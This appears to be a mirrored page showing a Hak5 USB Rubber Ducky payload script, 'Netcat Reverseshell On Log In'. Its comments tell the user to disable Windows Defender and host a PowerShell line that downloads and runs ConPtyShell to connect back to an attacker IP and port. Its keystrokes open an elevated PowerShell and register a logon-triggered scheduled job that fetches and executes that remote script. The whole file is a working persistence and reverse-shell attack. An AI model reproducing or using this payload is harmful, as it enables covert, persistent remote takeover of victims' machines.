Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/Netcat-Reverseshell-On-Log-In/payload.txt
2964 views
1
REM Title: Netcat Reverseshell On Log In
2
REM Description: Creates a powershell Job/Task to remotely connect to the computer with netcat every time user logs in
3
REM Author: https://github.com/HokkaidoInu
4
REM delay: You may want to change the delays and/or delete some, I have it like it is because I have really slow computer
5
REM setup:
6
REM Windows defender is required to be disabled
7
REM Have IP and port 87 open and listening on server side for netcat reverse shell
8
REM Create a txt file with the command below in it, replacing the ip to your servers ip:
9
REM IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 123.456.7.890 87
10
REM Host the text file online on github or your own web server or something
11
REM Then in the payload, replace https://example.com/txt/load.txt with the url that you are hosting your txt file in raw format
12
GUI r
13
DELAY 4000
14
STRING powershell
15
CTRL SHIFT ENTER
16
DELAY 4000
17
LEFT
18
DELAY 4000
19
ENTER
20
DELAY 4000
21
STRING $T = New-JobTrigger -AtLogOn ; $Script = Invoke-WebRequest 'https://example.com/txt/load.txt' ; $ScriptBlock = [Scriptblock]::Create($Script.Content) ; Register-ScheduledJob -Name "Powershell" -ScriptBlock $ScriptBlock -Trigger $T
22
DELAY 4000
23
ENTER
24
DELAY 8000
25
STRING exit
26
DELAY 4000
27
ENTER
28
29